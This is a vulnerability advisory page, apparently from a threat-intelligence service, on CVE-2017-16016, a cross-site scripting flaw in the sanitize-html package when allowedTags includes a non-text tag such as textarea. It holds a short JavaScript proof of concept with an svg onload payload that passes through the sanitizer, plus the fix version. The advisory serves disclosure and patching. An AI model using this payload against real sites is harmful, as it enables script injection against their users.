New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2017-16016

ExploitedNVDCIRCLENISA

EUVD-2018-0787 · Published Nov 9, 2018

Cross-Site Scripting in sanitize-html

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

Technologies

Punkave Sanitize-HtmlSanitize-Html Sanitize-Html

Weaknesses

CWE-79

References

Potentially impacted assets

See if this affects your attack surface

News

Our latest news

Couldn’t load the latest news.

Take 15 minutes to discover our platform with our experts

PatrowlIntel platform screenshot